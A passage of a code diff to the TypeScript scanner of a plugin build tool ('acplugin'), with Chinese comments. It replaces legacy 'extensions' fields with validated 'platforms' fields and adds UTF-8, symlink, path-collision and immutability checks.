'node:fs'; import path from 'node:path'; import { parseDocument } from 'yaml'; import { DiagnosticCollector } from './diagnostics.js'; -import { extensionIssues } from './extensions.js'; +import type { AcpluginPlatform, DiagnosticInput, JsonObject, JsonValue } from './contracts.js'; import type { AgentCapability, AgentComponent, @@ -11,8 +11,8 @@ import type { CommandComponent, Component, ComponentKind, + ComponentPlatformFields, ComponentRequires, - PlatformExtensions, PluginProject, PublicFile, ResolvedConfig, @@ -89,6 +89,7 @@ async function assertRegularFile( phase = 'discover', ): Promise { try { + /** 候选来源自身的文件类型与符号链接状态。 */ const stat = await fs.lstat(file); if (stat.isSymbolicLink()) { diagnostics.error('SOURCE_SYMLINK_UNSUPPORTED', 'Symbolic links are not supported.', { @@ -129,12 +130,14 @@ async function parseMarkdown( if (!await assertRegularFile(file, root, diagnostics)) return undefined; - /** 从磁盘读取的完整 Markdown 源码。 */ + /** 从磁盘读取并以 fatal 模式解码的完整 Markdown 源码。 */ let source: string; try { - source = await fs.readFile(file, 'utf8'); + /** fatal 解码会拒绝 Node 默认 utf8 字符串读取会静默替换的非法字节。 */ + const bytes = await fs.readFile(file); + source = new TextDecoder('utf-8', { fatal: true }).decode(bytes); } catch { - diagnostics.error('MARKDOWN_READ_FAILED', 'Cannot read Markdown.', { + diagnostics.error('MARKDOWN_UTF8_INVALID', 'Markdown must be readable UTF-8 text.', { phase: 'discover', location: { path: relative(root, file) }, }); return undefined; @@ -220,6 +223,15 @@ function validateFields( /** 供每个字段执行常数时间查询的白名单。 */ const allowedSet = new Set(allowed); for (const key of Object.keys(data)) { + if (key === 'extensions') { + diagnostics.error('COMPONENT_LEGACY_EXTENSIONS', 'Component field "extensions" is no longer supported.', { + phase: 'discover', + location: { path: sourcePath }, + fieldPath: [key], + hint: 'Use platforms: { \'claude-code\': {} } for Platform-specific fields.', + }); + continue; + } if (!allowedSet.has(key)) { diagnostics.error('FRONTMATTER_FIELD_UNKNOWN', `Unknown Frontmatter field "${key}".`, { phase: 'discover', location: { path: sourcePath }, fieldPath: [key], @@ -265,6 +277,7 @@ function stringField( * @param fieldPath 诊断中使用的嵌套字段路径。 * @param sourcePath 诊断使用的源码路径。 * @param diagnostics 当前扫描共享的诊断收集器。 + * @param duplicateCode 当前字段发现重复值时使用的稳定诊断码。 * @returns 有效输入本身;缺失或类型无效时返回空数组。 */ function stringArray( @@ -272,6 +285,7 @@ function stringArray( fieldPath: readonly string[], sourcePath: string, diagnostics: DiagnosticCollector, + duplicateCode = 'FRONTMATTER_ARRAY_DUPLICATE', ): string[] { if (value === undefined) return []; @@ -284,7 +298,7 @@ function stringArray( /** 已通过元素类型与非空检查的字符串列表。 */ const result = value as string[]; if (new Set(result).size !== result.length) { - diagnostics.error('COMPONENT_REQUIRES_DUPLICATE', `${fieldPath.join('.')} contains duplicate IDs.`, { + diagnostics.error(duplicateCode, `${fieldPath.join('.')} contains duplicate values.`, { phase: 'discover', location: { path: sourcePath }, fieldPath, }); } @@ -317,51 +331,214 @@ function parseRequires(data: unknown, sourcePath: string, diagnostics: Diagnosti }); } } - return { - skills: stringArray(object.skills, ['requires', 'skills'], sourcePath, diagnostics), - agents: stringArray(object.agents, ['requires', 'agents'], sourcePath, diagnostics), - }; + /** Skill 和 Agent 依赖需要在图构建前完成 ID 语法校验。 */ + const skills = stringArray(object.skills, ['requires', 'skills'], sourcePath, diagnostics, 'COMPONENT_REQUIRES_DUPLICATE'); + /** Agent 依赖与 Skill 依赖使用相同的开放 Component ID 规则。 */ + const agents = stringArray(object.agents, ['requires', 'agents'], sourcePath, diagnostics, 'COMPONENT_REQUIRES_DUPLICATE'); + for (const [kind, ids] of [['skills', skills], ['agents', agents]] as const) { + for (const [index, id] of ids.entries()) { + if (!ID_PATTERN.test(id)) { + diagnostics.error('COMPONENT_REQUIRES_ID_INVALID', `requires.${kind} contains invalid Component ID "${id}".`, { + phase: 'discover', location: { path: sourcePath }, fieldPath: ['requires', kind, index], + }); + } + } + } + return { skills, agents }; } /** - * 解析平台扩展映射,并阻止扩展覆盖 Core 的标准 Plugin 语义。 + * 拒绝 Command 正文中的非规范模板占位符。 * - * @param data extensions 字段的未知值。 + * @param body 已移除 Frontmatter 的 Command 正文。 * @param sourcePath 诊断使用的源码路径。 * @param diagnostics 当前扫描共享的诊断收集器。 - * @returns 已通过结构验证的平台扩展映射。 */ -function parseExtensions(data: unknown, sourcePath: string, diagnostics: DiagnosticCollector): PlatformExtensions { +function validateCommandPlaceholders(body: string, sourcePath: string, diagnostics: DiagnosticCollector): void { + /** acplugin 只解释双花括号占位符,且仅保留 arguments 这一规范名称。 */ + const placeholders = body.match(/\{\{[^{}]*\}\}/g) ?? []; + for (const placeholder of placeholders) { + if (placeholder !== '{{arguments}}') { + diagnostics.error('COMMAND_PLACEHOLDER_INVALID', `Unsupported Command placeholder "${placeholder}".`, { + phase: 'discover', location: { path: sourcePath }, + hint: 'Use the canonical {{arguments}} placeholder.', + }); + } + } +} + +/** + * 递归复制并冻结未知值,同时验证它能无损表示为 JSON。 + * + * @param value 当前待验证值。 + * @param fieldPath 当前值在 Frontmatter 中的字段路径。 + * @param sourcePath 诊断使用的源码路径。 + * @param diagnostics 当前扫描共享的诊断收集器。 + * @param ancestors 当前递归链,用于拒绝 YAML alias 构造的循环对象。 + * @returns 合法且不可变的 JSON 值;非法时返回 undefined。 + */ +function normalizeJsonValue( + value: unknown, + fieldPath: readonly string[], + sourcePath: string, + diagnostics: DiagnosticCollector, + ancestors: WeakSet = new WeakSet(), +): JsonValue | undefined { + if (value === null || typeof value === 'string' || typeof value === 'boolean') + return value; + if (typeof value === 'number') { + if (Number.isFinite(value)) + return value; + diagnostics.error('COMPONENT_PLATFORM_JSON_INVALID', 'Platform fields only support finite JSON numbers.', { + phase: 'discover', location: { path: sourcePath }, fieldPath, + }); + return undefined; + } + if (typeof value !== 'object') { + diagnostics.error('COMPONENT_PLATFORM_JSON_INVALID', 'Platform fields must contain JSON-serializable values.', { + phase: 'discover', location: { path: sourcePath }, fieldPath, + }); + return undefined; + } + if (ancestors.has(value)) { + diagnostics.error('COMPONENT_PLATFORM_JSON_CYCLE', 'Platform fields cannot contain circular YAML aliases.', { + phase: 'discover', location: { path: sourcePath }, fieldPath, + }); + return undefined; + } + ancestors.add(value); + if (Array.isArray(value)) { + /** 保留作者声明顺序的 JSON 数组副本。 */ + const result: JsonValue[] = []; + for (const [index, item] of value.entries()) { + /** 任一非法元素都会让所属 Platform 字段整体失效。 */ + const normalized = normalizeJsonValue(item, [...fieldPath, String(index)], sourcePath, diagnostics, ancestors); + if (normalized === undefined) { + ancestors.delete(value); + return undefined; + } + result.push(normalized); + } + ancestors.delete(value); + return Object.freeze(result); + } + /** YAML 转换结果应为普通对象,拒绝行为对象进入稳定 Component 数据。 */ + const prototype = Object.getPrototypeOf(value); + if (prototype !== Object.prototype && prototype !== null) { + ancestors.delete(value); + diagnostics.error('COMPONENT_PLATFORM_JSON_INVALID', 'Platform fields must use plain JSON mappings.', { + phase: 'discover', location: { path: sourcePath }, fieldPath, + }); + return undefined; + } + /** 按键名排序使相同语义的 YAML 字段顺序得到同一工程快照。 */ + const result: Record = {}; + for (const key of Object.keys(value).sort((left, right) => left.localeCompare(right, 'en'))) { + /** 当前普通对象字段的未知原始值。 */ + const normalized = normalizeJsonValue((value as Record)[key], [...fieldPath, key], sourcePath, diagnostics, ancestors); + if (normalized === undefined) { + ancestors.delete(value); + return undefined; + } + // defineProperty 可安全保留名为 `__proto__` 的 JSON 字段,不触发对象原型 setter。 + Object.defineProperty(result, key, { value: normalized, enumerable: true, configurable: false, writable: false }); + } + ancestors.delete(value); + return Object.freeze(result); +} + +/** + * 将已经规范化的 JSON 值收窄为 Platform 字段要求的对象根节点。 + * + * @param value Core JSON 规范化结果。 + * @returns 非空、非数组对象返回 true。 + */ +function isJsonObject(value: JsonValue | undefined): value is JsonObject { + return value !== undefined && value !== null && typeof value === 'object' && !Array.isArray(value); +} + +/** + * 解析 Component 的 Platform 专属字段并调用对应 Platform 校验器。 + * + * @param data platforms 字段的未知值。 + * @param component 当前 Component 的稳定身份与来源。 + * @param config 已解析工程配置和 Platform 集合。 + * @param diagnostics 当前扫描共享的诊断收集器。 + * @returns 仅包含已配置且通过 JSON 结构验证的 Platform 字段。 + */ +async function parsePlatforms( + data: unknown, + component: { readonly kind: ComponentKind; readonly id: string; readonly sourcePath: string }, + config: ResolvedConfig, + diagnostics: DiagnosticCollector, +): Promise { if (data === undefined) - return {}; + return Object.freeze({}); if (data === null || typeof data !== 'object' || Array.isArray(data)) { - diagnostics.error('EXTENSIONS_INVALID', 'extensions must be a mapping.', { - phase: 'discover', location: { path: sourcePath }, fieldPath: ['extensions'], + diagnostics.error('COMPONENT_PLATFORMS_INVALID', 'platforms must be a mapping.', { + phase: 'discover', location: { path: component.sourcePath }, fieldPath: ['platforms'], }); - return {}; + return Object.freeze({}); } - /** 已验证为顶层映射的扩展对象。 */ - const object = data as Record; - for (const [key, value] of Object.entries(object)) { - if (key !== 'claude-code' && key !== 'codex') { - diagnostics.error('EXTENSION_TARGET_UNKNOWN', `Unknown extension target "${key}".`, { - phase: 'discover', location: { path: sourcePath }, fieldPath: ['extensions', key], + /** 按开放 ID 索引当前工程实际配置的品牌化 Platform。 */ + const configured = new Map(config.platforms.map(item => [item.platform.id, item.platform])); + /** 仅写入完成 Core 与 Platform 双层校验的专属字段。 */ + const result: Record> = {}; + for (const id of Object.keys(data).sort((left, right) => left.localeCompare(right, 'en'))) { + /** 当前 ID 对应且能够执行专属字段校验的 Platform。 */ + const platform = configured.get(id); + if (!platform) { + diagnostics.error('COMPONENT_PLATFORM_NOT_CONFIGURED', `Component declares fields for unconfigured Platform "${id}".`, { + phase: 'discover', location: { path: component.sourcePath }, fieldPath: ['platforms', id], + hint: `Add the ${id} Platform factory to config.platforms.`, }); continue; } - if (value === null || typeof value !== 'object' || Array.isArray(value)) { - diagnostics.error('EXTENSION_VALUE_INVALID', `Extension target "${key}" must be a mapping.`, { - phase: 'discover', location: { path: sourcePath }, fieldPath: ['extensions', key], + /** Platform 字段根必须是对象,避免 Schema 根形态在平台间漂移。 */ + const raw = (data as Record)[id]; + if (raw === null || typeof raw !== 'object' || Array.isArray(raw)) { + diagnostics.error('COMPONENT_PLATFORM_FIELDS_INVALID', `platforms.${id} must be a JSON mapping.`, { + phase: 'discover', platform: platform.id, location: { path: component.sourcePath }, fieldPath: ['platforms', id], }); continue; } - for (const issue of extensionIssues(value, ['extensions', key])) { - diagnostics.error('EXTENSION_SEMANTICS_INVALID', issue.message, { - phase: 'discover', location: { path: sourcePath }, fieldPath: issue.path, + /** Core 复制并冻结后的字段,不向 Platform 暴露 YAML 解析器持有的对象。 */ + const normalized = normalizeJsonValue(raw, ['platforms', id], component.sourcePath, diagnostics); + if (!isJsonObject(normalized)) + continue; + result[id] = normalized; + if (!platform.validateComponentFields) + continue; + try { + /** 防止 Platform Validator 在运行时修改其他 Platform 随后观察的 Component 身份。 */ + const componentSnapshot = Object.freeze({ ...component }); + /** 冻结 Context 外壳,但保留其内部受控的诊断提交函数。 */ + const context = Object.freeze({ + command: config.command, + mode: config.mode, + component: componentSnapshot, + fields: normalized, + /** Platform 只能提交诊断,身份和缺省源码位置由 Core 固定附加。 */ + reportDiagnostic(input: DiagnosticInput): void { + diagnostics.add({ + ...input, + phase: input.phase ?? 'validate', + platform: platform.id, + component: { kind: component.kind, id: component.id }, + location: input.location ?? { path: component.sourcePath }, + }); + }, + }); + await platform.validateComponentFields(context); + } catch { + diagnostics.error('PLATFORM_COMPONENT_VALIDATOR_FAILED', `Platform "${id}" failed while validating Component fields.`, { + phase: 'validate', platform: platform.id, + component: { kind: component.kind, id: component.id }, + location: { path: component.sourcePath }, fieldPath: ['platforms', id], }); } } - return object as PlatformExtensions; + return Object.freeze(result); } /** @@ -373,13 +550,75 @@ function parseExtensions(data: unknown, sourcePath: string, diagnostics: Diagnos async function listDirectory(directory: string): Promise { try { return (await fs.readdir(directory, { withFileTypes: true })).sort((a, b) => a.name.localeCompare(b.name, 'en')); - } catch (error) { + } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { if ((error as NodeJS.ErrnoException).code === 'ENOENT') return []; throw error; } } +/** + * 检查同一源码目录中会在常见文件系统上碰撞的大小写或 Unicode 名称。 + * + * @param entries 已按名称排序的目录项。 + * @param directory 这些目录项所属的绝对目录。 + * @param root 工程根目录。 + * @param diagnostics 当前扫描共享的诊断收集器。 + */ +function validateEntryCollisions( + entries: readonly import('node:fs').Dirent[], + directory: string, + root: string, + diagnostics: DiagnosticCollector, +): void { + /** NFC 与小写折叠后的名字映射到首次出现的原始目录项。 */ + const seen = new Map(); + for (const entry of entries) { + /** 统一 Unicode 组合形式和大小写后的跨文件系统比较键。 */ + const key = entry.name.normalize('NFC').toLocaleLowerCase('en-US'); + /** 此比较键首次对应的目录项。 */ + const previous = seen.get(key); + if (!previous) { + seen.set(key, entry); + continue; + } + /** 当前与首次冲突项都使用工程相对路径,避免报告宿主绝对路径。 */ + const currentPath = relative(root, path.join(directory, entry.name)); + /** 首次出现目录项的工程相对报告路径。 */ + const previousPath = relative(root, path.join(directory, previous.name)); + diagnostics.error('SOURCE_PATH_COLLISION', `Source path collides with "${previous.name}" after case and Unicode normalization.`, { + phase: 'discover', location: { path: currentPath }, related: [{ path: previousPath }], + }); + } +} + +/** + * 稳定读取源码目录并立即执行跨文件系统名称碰撞检查。 + * + * @param directory 待读取绝对目录。 + * @param root 工程根目录。 + * @param diagnostics 当前扫描共享的诊断收集器。 + * @returns 已排序目录项;目录不存在时仍为空数组。 + */ +async function listSourceDirectory( + directory: string, + root: string, + diagnostics: DiagnosticCollector, +): Promise { + /** 名称稳定排序后的当前目录项。 */ + let entries: import('node:fs').Dirent[]; + try { + entries = await listDirectory(directory); + } catch { + diagnostics.error('SOURCE_DIRECTORY_READ_FAILED', 'Cannot read source directory.', { + phase: 'discover', location: { path: relative(root, directory) }, + }); + return []; + } + validateEntryCollisions(entries, directory, root, diagnostics); + return entries; +} + /** * 扫描 `src/commands/*.md` 并构造规范 Command Component。 * @@ -392,11 +631,15 @@ async function scanCommands(config: ResolvedConfig, diagnostics: DiagnosticColle const directory = path.join(config.srcDir, 'commands'); /** 通过结构和 Frontmatter 验证的 Command。 */ const result: CommandComponent[] = []; - for (const entry of await listDirectory(directory)) { + for (const entry of await listSourceDirectory(directory, config.root, diagnostics)) { /** 当前目录项的绝对源码路径。 */ const file = path.join(directory, entry.name); /** 当前目录项用于报告和 Component 的相对路径。 */ const sourcePath = relative(config.root, file); + if (entry.isSymbolicLink()) { + diagnostics.error('SOURCE_SYMLINK_UNSUPPORTED', 'Symbolic links are not supported.', { phase: 'discover', location: { path: sourcePath } }); + continue; + } if (!entry.isFile() || !entry.name.endsWith('.md')) { diagnostics.error('COMMAND_ENTRY_INVALID', 'Commands must be one-level .md files.', { phase: 'discover', location: { path: sourcePath } }); continue; @@ -409,21 +652,21 @@ async function scanCommands(config: ResolvedConfig, diagnostics: DiagnosticColle const parsed = await parseMarkdown(file, config.root, diagnostics); if (!parsed) continue; - validateFields(parsed.data, ['description', 'argumentHint', 'requires', 'extensions'], sourcePath, diagnostics); + validateFields(parsed.data, ['description', 'argumentHint', 'requires', 'platforms'], sourcePath, diagnostics); /** Command 必需的非空描述。 */ const description = stringField(parsed.data, 'description', sourcePath, diagnostics, true); if (!description) continue; - /** 已满足必需字段要求的规范 Command。 */ + /** 可选的命令参数提示。 */ + const argumentHint = stringField(parsed.data, 'argumentHint', sourcePath, diagnostics); + validateCommandPlaceholders(parsed.body, sourcePath, diagnostics); + /** 已满足必需字段要求的不可变规范 Command。 */ const command: CommandComponent = { kind: 'command', id, description, body: parsed.body, sourcePath, requires: parseRequires(parsed.data.requires, sourcePath, diagnostics), - extensions: parseExtensions(parsed.data.extensions, sourcePath, diagnostics), + platforms: await parsePlatforms(parsed.data.platforms, { kind: 'command', id, sourcePath }, config, diagnostics), + ...(argumentHint === undefined ? {} : { argumentHint }), }; - /** 可选的命令参数提示。 */ - const argumentHint = stringField(parsed.data, 'argumentHint', sourcePath, diagnostics); - if (argumentHint !== undefined) - command.argumentHint = argumentHint; result.push(command); } return result; @@ -446,7 +689,7 @@ async function collectSkillAuxiliary( ): Promise { /** 当前递归子树累计发现的普通文件。 */ const result: SkillAuxiliaryFile[] = []; - for (const entry of await listDirectory(path.join(directory, prefix))) { + for (const entry of await listSourceDirectory(path.join(directory, prefix), config.root, diagnostics)) { if (prefix === '' && entry.name === 'SKILL.md') continue; /** 辅助文件在最终 Skill 目录中的 POSIX 相对路径。 */ @@ -460,6 +703,7 @@ async function collectSkillAuxiliary( } else if (entry.isDirectory()) { result.push(...await collectSkillAuxiliary(directory, config, diagnostics, relativePath)); } else if (entry.isFile()) { + /** 辅助文件的权限信息,用于保留是否可执行。 */ const stat = await fs.stat(file); result.push({ path: relativePath, sourcePath: file, mode: modeFromStat(stat.mode) }); } else { @@ -483,11 +727,15 @@ async function scanSkills(config: ResolvedConfig, diagnostics: DiagnosticCollect const directory = path.join(config.srcDir, 'skills'); /** 通过结构和 Frontmatter 验证的 Skill。 */ const result: SkillComponent[] = []; - for (const entry of await listDirectory(directory)) { + for (const entry of await listSourceDirectory(directory, config.root, diagnostics)) { /** 当前 Skill 的绝对目录。 */ const skillDirectory = path.join(directory, entry.name); /** 当前 Skill 目录的工程相对路径。 */ const sourcePath = relative(config.root, skillDirectory); + if (entry.isSymbolicLink()) { + diagnostics.error('SOURCE_SYMLINK_UNSUPPORTED', 'Symbolic links are not supported.', { phase: 'discover', location: { path: sourcePath } }); + continue; + } if (!entry.isDirectory()) { diagnostics.error('SKILL_ENTRY_INVALID', 'Skills must be one-level directories.', { phase: 'discover', location: { path: sourcePath } }); continue; @@ -506,7 +754,7 @@ async function scanSkills(config: ResolvedConfig, diagnostics: DiagnosticCollect continue; /** SKILL.md 用于诊断和 Component 来源的相对路径。 */ const markdownPath = relative(config.root, file); - validateFields(parsed.data, ['description', 'invocation', 'requires', 'extensions'], markdownPath, diagnostics); + validateFields(parsed.data, ['description', 'invocation', 'requires', 'platforms'], markdownPath, diagnostics); /** Skill 必需的非空描述。 */ const description = stringField(parsed.data, 'description', markdownPath, diagnostics, true); if (!description) @@ -541,7 +789,7 @@ async function scanSkills(config: ResolvedConfig, diagnostics: DiagnosticCollect kind: 'skill', id: entry.name, description, invocation: { user, model }, body: parsed.body, sourcePath: markdownPath, requires: parseRequires(parsed.data.requires, markdownPath, diagnostics), - extensions: parseExtensions(parsed.data.extensions, markdownPath, diagnostics), + platforms: await parsePlatforms(parsed.data.platforms, { kind: 'skill', id: entry.name, sourcePath: markdownPath }, config, diagnostics), auxiliaryFiles: await collectSkillAuxiliary(skillDirectory, config, diagnostics), }); } @@ -560,11 +808,15 @@ async function scanAgents(config: ResolvedConfig, diagnostics: DiagnosticCollect const directory = path.join(config.srcDir, 'agents'); /** 通过结构和 Frontmatter 验证的 Agent。 */ const result: AgentComponent[] = []; - for (const entry of await listDirectory(directory)) { + for (const entry of await listSourceDirectory(directory, config.root, diagnostics)) { /** 当前 Agent 目录项的绝对源码路径。 */ const file = path.join(directory, entry.name); /** 当前 Agent 用于报告和 Component 的相对路径。 */ const sourcePath = relative(config.root, file); + if (entry.isSymbolicLink()) { + diagnostics.error('SOURCE_SYMLINK_UNSUPPORTED', 'Symbolic links are not supported.', { phase: 'discover', location: { path: sourcePath } }); + continue; + } if (!entry.isFile() || !entry.name.endsWith('.md')) { diagnostics.error('AGENT_ENTRY_INVALID', 'Agents must be one-level .md files.', { phase: 'discover', location: { path: sourcePath } }); continue; @@ -577,7 +829,7 @@ async function scanAgents(config: ResolvedConfig, diagnostics: DiagnosticCollect const parsed = await parseMarkdown(file, config.root, diagnostics); if (!parsed) continue; - validateFields(parsed.data, ['description', 'model', 'capabilities', 'requires', 'extensions'], sourcePath, diagnostics); + validateFields(parsed.data, ['description', 'model', 'capabilities', 'requires', 'platforms'], sourcePath, diagnostics); /** Agent 必需的非空描述。 */ const description = stringField(parsed.data, 'description', sourcePath, diagnostics, true); if (!description) @@ -603,7 +855,7 @@ async function scanAgents(config: ResolvedConfig, diagnostics: DiagnosticCollect kind: 'agent', id, description, model, capabilities, body: parsed.body, sourcePath, requires: parseRequires(parsed.data.requires, sourcePath, diagnostics), - extensions: parseExtensions(parsed.data.extensions, sourcePath, diagnostics), + platforms: await parsePlatforms(parsed.data.platforms, { kind: 'agent', id, sourcePath }, config, diagnostics), }); } return result; @@ -628,7 +880,7 @@ async function collectPublicTree( let stat: import('node:fs').Stats; try { stat = await fs.lstat(source); - } catch (error) { + } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { if ((error as NodeJS.ErrnoException).code === 'ENOENT') { diagnostics.error('PUBLIC_SOURCE_MISSING', 'Public copy source does not exist.', { phase: 'discover', location: { path: relative(config.root, source) } }); return []; @@ -647,11 +899,57 @@ async function collectPublicTree( } /** 当前目录子树累计展开的 Public 文件。 */ const result: PublicFile[] = []; - for (const entry of await listDirectory(source)) + for (const entry of await listSourceDirectory(source, config.root, diagnostics)) result.push(...await collectPublicTree(path.join(source, entry.name), path.join(target, entry.name), config, diagnostics)); return result; } +/** + * 校验 Public 展开后的目标路径唯一性并返回稳定排序快照。 + * + * @param files 默认目录或 copy rule 展开的 Public 文件。 + * @param config 已解析工程配置。 + * @param diagnostics 当前扫描共享的诊断收集器。 + * @returns 按目标路径排序且保留首个冲突来源的 Public 文件。 + */ +function finalizePublicFiles( + files: readonly PublicFile[], + config: ResolvedConfig, + diagnostics: DiagnosticCollector, +): PublicFile[] { + /** 目标路径经过 Unicode 和大小写折叠后的首个来源。 */ + const targets = new Map(); + /** 无目标冲突且可以安全交给 Artifact Registry 的文件。 */ + const result: PublicFile[] = []; + for (const file of files) { + /** 所有目标统一为无开头斜杠的 POSIX 相对路径。 */ + const targetPath = file.targetPath.split(path.sep).join('/').replace(/^\.\//, ''); + if (targetPath === '' || path.posix.isAbsolute(targetPath) || targetPath.split('/').includes('..')) { + diagnostics.error('PUBLIC_TARGET_INVALID', 'Public target must be a non-empty relative path.', { + phase: 'discover', location: { path: relative(config.root, file.sourcePath) }, + }); + continue; + } + /** 跨文件系统碰撞使用与 Artifact Registry 相同的保守比较方式。 */ + const key = targetPath.normalize('NFC').toLocaleLowerCase('en-US'); + /** 已占用同一规范目标路径的 Public 文件。 */ + const previous = targets.get(key); + if (previous) { + diagnostics.error('PUBLIC_TARGET_COLLISION', `Public target "${targetPath}" conflicts with another copy source.`, { + phase: 'discover', + location: { path: relative(config.root, file.sourcePath) }, + related: [{ path: relative(config.root, previous.sourcePath) }], + }); + continue; + } + /** 使用规范化目标创建新对象,不修改 collect 阶段的输入。 */ + const normalized = { ...file, targetPath }; + targets.set(key, normalized); + result.push(normalized); + } + return result.sort((left, right) => left.targetPath.localeCompare(right.targetPath, 'en')); +} + /** * 根据默认整目录规则或显式 copy 规则扫描公共资源。 * @@ -663,12 +961,12 @@ async function scanPublic(config: ResolvedConfig, diagnostics: DiagnosticCollect if (!config.public.enabled || !await exists(config.public.dir)) return []; if (!config.public.copy) - return collectPublicTree(config.public.dir, '', config, diagnostics); + return finalizePublicFiles(await collectPublicTree(config.public.dir, '', config, diagnostics), config, diagnostics); /** 所有显式 copy 规则展开后的 Public 文件。 */ const result: PublicFile[] = []; for (const rule of config.public.copy) result.push(...await collectPublicTree(path.join(config.public.dir, rule.from), rule.to, config, diagnostics)); - return result; + return finalizePublicFiles(result, config, diagnostics); } /** @@ -701,14 +999,18 @@ function validateGraph(components: readonly Component[], diagnostics: Diagnostic ...component.requires.skills.map(id => componentKey('skill', id)), ...component.requires.agents.map(id => componentKey('agent', id)), ]; - edges.set(from, targets); + /** 只有存在且非自引用的边进入 DFS,结构错误不再额外伪装成环路。 */ + const traversable: string[] = []; for (const target of targets) { if (target === from) { diagnostics.error('COMPONENT_DEPENDENCY_SELF', `${from} cannot require itself.`, { phase: 'validate', component: { kind: component.kind, id: component.id }, location: { path: component.sourcePath } }); } else if (!byKey.has(target)) { diagnostics.error('COMPONENT_DEPENDENCY_MISSING', `${from} requires missing ${target}.`, { phase: 'validate', component: { kind: component.kind, id: component.id }, location: { path: component.sourcePath } }); + } else { + traversable.push(target); } } + edges.set(from, traversable); } /** 当前深度优先搜索路径上的节点。 */ @@ -755,29 +1057,120 @@ function validateGraph(components: readonly Component[], diagnostics: Diagnostic } /** - * 检查保留源码目录是否已经启用对应的官方 Module。 + * 验证配置来源目录从工程根开始的每一级都不是符号链接。 + * + * @param root 可信工程根目录。 + * @param directory 已通过配置层 lexical boundary 校验的来源目录。 + * @param diagnostics 当前扫描共享的诊断收集器。 + * @returns 目录不存在或为安全普通目录时返回 true。 + */ +async function validateSourceDirectoryRoot( + root: string, + directory: string, + diagnostics: DiagnosticCollector, +): Promise { + /** 从工程根到来源目录的逐级相对路径片段。 */ + const segments = path.relative(root, directory).split(path.sep).filter(Boolean); + /** 当前正在执行 lstat 的绝对路径。 */ + let current = root; + for (const segment of segments) { + current = path.join(current, segment); + try { + /** lstat 不跟随当前层符号链接,因此能阻止配置目录通过链接逃逸。 */ + const stat = await fs.lstat(current); + if (stat.isSymbolicLink()) { + diagnostics.error('SOURCE_ROOT_SYMLINK', 'Configured source directories cannot contain symbolic links.', { + phase: 'discover', location: { path: relative(root, current) }, + }); + return false; + } + if (!stat.isDirectory()) { + diagnostics.error('SOURCE_ROOT_NOT_DIRECTORY', 'Configured source path must be a directory.', { + phase: 'discover', location: { path: relative(root, current) }, + }); + return false; + } + } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') + return true; + diagnostics.error('SOURCE_ROOT_READ_FAILED', 'Cannot inspect configured source directory.', { + phase: 'discover', location: { path: relative(root, current) }, + }); + return false; + } + } + return true; +} + +/** + * 检查保留源码目录是否已经启用对应的官方 Extension。 * * @param config 已解析工程配置。 * @param diagnostics 当前扫描共享的诊断收集器。 */ -async function validateModuleDirectories(config: ResolvedConfig, diagnostics: DiagnosticCollector): Promise { - /** Core 识别但只允许由官方 Module 解释的源码目录映射。 */ +async function validateExtensionDirectories(config: ResolvedConfig, diagnostics: DiagnosticCollector): Promise { + /** Core 识别但只允许由官方 Extension 解释的源码目录映射。 */ const checks = [ - { directory: 'hooks', module: '@tokenroll/acplugin-module-hooks' }, - { directory: 'mcp', module: '@tokenroll/acplugin-module-mcp' }, + { directory: 'hooks', extension: '@tokenroll/acplugin-extension-hooks' }, + { directory: 'mcp', extension: '@tokenroll/acplugin-extension-mcp' }, ]; - /** 已配置 Module 名称集合。 */ - const enabled = new Set(config.modules.map(module => module.name)); + /** 已配置 Extension 名称集合。 */ + const enabled = new Set(config.extensions.map(extension => extension.name)); for (const check of checks) { + /** 当前可选 Extension 对应的约定源码目录。 */ const directory = path.join(config.srcDir, check.directory); - if ((await listDirectory(directory)).length > 0 && !enabled.has(check.module)) { - diagnostics.error('MODULE_REQUIRED', `Source under src/${check.directory} requires ${check.module}.`, { - phase: 'discover', location: { path: relative(config.root, directory) }, hint: `Add ${check.module} to modules.`, + if ((await listDirectory(directory)).length > 0 && !enabled.has(check.extension)) { + diagnostics.error('EXTENSION_REQUIRED', `Source under src/${check.directory} requires ${check.extension}.`, { + phase: 'discover', location: { path: relative(config.root, directory) }, hint: `Add ${check.extension} to extensions.`, }); } } } +/** + * 将 Scanner 产出的工程模型递归复制为运行时不可变快照。 + * + * @param project 已完成结构和依赖图校验的工程数据。 + * @returns Platform 与 Extension 只能只读访问的 PluginProject。 + */ +function freezeProject(project: PluginProject): PluginProject { + /** 为每个 Component 创建独立的不可变依赖声明。 */ + const freezeRequires = (requires: ComponentRequires): ComponentRequires => Object.freeze({ + skills: Object.freeze([...requires.skills]), + agents: Object.freeze([...requires.agents]), + }); + /** Command 数组及其对象、依赖和 Platform 映射均不可修改。 */ + const commands = Object.freeze(project.commands.map(command => Object.freeze({ + ...command, + requires: freezeRequires(command.requires), + platforms: Object.freeze({ ...command.platforms }), + }))); + /** Skill 额外冻结 invocation 与辅助文件描述列表。 */ + const skills = Object.freeze(project.skills.map(skill => Object.freeze({ + ...skill, + invocation: Object.freeze({ ...skill.invocation }), + requires: freezeRequires(skill.requires), + platforms: Object.freeze({ ...skill.platforms }), + auxiliaryFiles: Object.freeze(skill.auxiliaryFiles.map(file => Object.freeze({ ...file }))), + }))); + /** Agent 额外冻结能力数组,避免生命周期间发生观察差异。 */ + const agents = Object.freeze(project.agents.map(agent => Object.freeze({ + ...agent, + capabilities: Object.freeze([...agent.capabilities]), + requires: freezeRequires(agent.requires), + platforms: Object.freeze({ ...agent.platforms }), + }))); + /** Public 只保存文件来源和 mode,但描述对象本身同样必须不可变。 */ + const publicFiles = Object.freeze(project.publicFiles.map(file => Object.freeze({ ...file }))); + /** 可选作者和关键词需要和元数据外壳一起冻结。 */ + const metadata = Object.freeze({ + ...project.metadata, + ...(project.metadata.author === undefined ? {} : { author: Object.freeze({ ...project.metadata.author }) }), + ...(project.metadata.keywords === undefined ? {} : { keywords: Object.freeze([...project.metadata.keywords]) }), + }); + return Object.freeze({ ...project, metadata, commands, skills, agents, publicFiles }); +} + /** * 扫描 acplugin 规范工程并验证 Component 依赖图。 * @@ -791,28 +1184,30 @@ export async function scanProject( config: ResolvedConfig, diagnostics: DiagnosticCollector = new DiagnosticCollector(), ): Promise<{ project: PluginProject; diagnostics: DiagnosticCollector }> { - await validateModuleDirectories(config, diagnostics); + /** srcDir 的完整祖先链必须安全,失败时不能继续跟随目录读取。 */ + const sourceSafe = await 